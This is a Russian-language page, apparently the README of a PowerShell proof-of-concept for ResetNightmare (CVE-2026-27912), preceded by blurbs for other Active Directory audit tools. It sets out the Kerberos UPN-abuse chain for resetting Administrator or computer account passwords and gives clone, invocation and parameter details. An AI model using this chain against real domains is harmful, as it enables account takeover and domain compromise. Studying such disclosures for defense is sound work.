PowerShell-инструмент, реализующий цепочку атаки CVE-2026-27912 для захвата домена Active Directory через злоупотребление UPN.
Python-библиотека и набор утилит для работы с сетевыми протоколами Windows: SMB, LDAP, Kerberos, MSRPC, MSSQL. Содержит …
Швейцарский нож для аудита и эксплуатации сетей Windows/Active Directory. Форк и преемник CrackMapExec. Поддерживает протоколы: SMB, …
Инструмент для перечисления и аудита конфигураций Active Directory Certificate Services (AD CS) на предмет распространённых ошибок …
Python-инструмент для автоматизированной проверки Windows-серверов на предмет уязвимости к принудительной аутентификации через известные MS-RPC методы — …
git clone https://github.com/Semperis-Community/ResetNightmare.git cd ResetNightmare . .\ResetNightmare.ps1
Инструмент доказательства концепции (POC) для ResetNightmare (CVE-2026-27912).
ResetNightmare — это уязвимость проверки в протоколе Kerberos Change Password, позволяющая сбросить пароль любой целевой учётной записи пользователя или компьютера без знания текущего пароля.
Для атаки требуется незалатанный контроллер домена и возможность записи userPrincipalName (UPN) на любой учётной записи, которую вы контролируете.
Альтернативно, уязвимость может быть использована злоумышленником, имеющим возможность создавать новых пользователей или компьютеры в любом подразделении (OU), так как создание пользователя или компьютера даёт вам права GenericWrite на него.
Этот скрипт автоматизирует полный сценарий атаки и очищает за собой.
Сценарий атаки выглядит следующим образом:
1. У атакующего есть пользователь или компьютер, на котором он может записать UPN. Это может быть либо предоставлено, либо создано с помощью параметра -CreateNewPath.
2. Атакующий устанавливает UPN контролируемой учётной записи на sAMAccountName цели, например, "Administrator".
3. Атакующий может затем запросить TGT для имени пользователя "Administrator" с типом имени NT-ENTERPRISE. Этот TGT будет запрошен для SPN kadmin/changepw.
4. Атакующий очищает свой собственный UPN, оставляя только цель с UPN, который разрешается в неё саму.
5. Атакующий затем использует имеющийся у него TGT для сброса пароля пользователя "Administrator", не зная предыдущего значения.
6. Если атака успешна, пароль цели был изменён, и атакующий теперь может аутентифицироваться с использованием новых учётных данных.
В качестве цели могут выступать как учётные записи пользователей, так и компьютеров.

-RubeusPath.-CreateNewPath).-DC.Подключите скрипт для загрузки функции, затем вызовите её:
. .\ResetNightmare.ps1
Invoke-ResetNightmare `
-TargetAccount "victim" `
-TargetNewPassword "NewP@ssw0rd!" `
-UPNUser "controlledUser" `
-UPNUserPassword "ControlledP@ss!"
Используйте sAMAccountName (заканчивающийся на $) для параметра -TargetAccount:
Invoke-ResetNightmare `
-TargetAccount 'server$' `
-TargetNewPassword "NewP@ssw0rd!" `
-UPNUser "controlledUser" `
-UPNUserPassword "ControlledP@ss!"
Если у вас есть права на создание объектов в подразделении (OU) или контейнере, вы можете указать отличительное имя (DN) подразделения или контейнера с помощью параметра -CreateNewPath. При его указании параметры -UPNUser и -UPNUserPassword рассматриваются как учётные данные для создаваемой учётной записи, а не существующей в домене:
Invoke-ResetNightmare `
-TargetAccount "victim" `
-TargetNewPassword "NewP@ssw0rd!" `
-UPNUser "attackerAcct" `
-UPNUserPassword "AttackerP@ss!" `
-CreateNewPath "OU=Temp,DC=demo,DC=lab"
Добавьте параметр -Computer, чтобы создать или использовать учётную запись компьютера вместо учётной записи пользователя.
| Параметр | Обязательный | Описание |
|---|---|---|
-TargetAccount |
Да | sAMAccountName учётной записи, для которой требуется сбросить пароль. Не забудьте добавить символ $ в конце, если целью является учётная запись компьютера. |
-TargetNewPassword |
Да | Новый пароль для целевой учётной записи. |
-UPNUser |
Да | Учётная запись, на которую вы можете записать UPN, или учётная запись для создания, если указан параметр -CreateNewPath. |
-UPNUserPassword |
Да | Пароль в открытом виде для параметра -UPNUser. |
-Computer |
Нет | Рассматривать -UPNUser как учётную запись компьютера (и создать учётную запись компьютера при использовании с параметром -CreateNewPath). |
-RubeusPath |
Нет | Путь к исполняемому файлу Rubeus. По умолчанию — ".\Rubeus.exe". |
-SupportedEncryption |
Нет | Поддерживаемый тип шифрования для TGT. Значение по умолчанию — "AES256" и должно работать в большинстве случаев. Если требуется изменить это значение, поддерживаются следующие: DES|RC4|AES128|AES256 |
| --- |
| -CreateNewPath | Нет | DistinguishedName контейнера/OU, где у вас есть права на создание объектов. Если указан, параметры -UPNUser и -UPNUserPassword будут использоваться как учётные данные для создаваемого пользователя, а не для существующего. |
| -DC | Нет | Имя контроллера домена, с которым будет выполняться операция. Если не указан, определяется автоматически. |
ВНИМАНИЕ\ Этот материал предоставляется исключительно в образовательных и информационных целях. Он предназначен для повышения осведомлённости и ответственного устранения уязвимостей безопасности, которые могут существовать на системах, принадлежащих вам или на тестирование которых вы имеете разрешение. Несанкционированное использование данной информации в злонамеренных целях, для эксплуатации уязвимостей или незаконного доступа строго запрещено. Авторы не поддерживают и не одобряют какую-либо противоправную деятельность и снимают с себя ответственность за любые последствия неправомерного использования материала. Кроме того, авторы не гарантируют точность или полноту предоставленной информации и не несут ответственности за ущерб, возникший в результате её применения.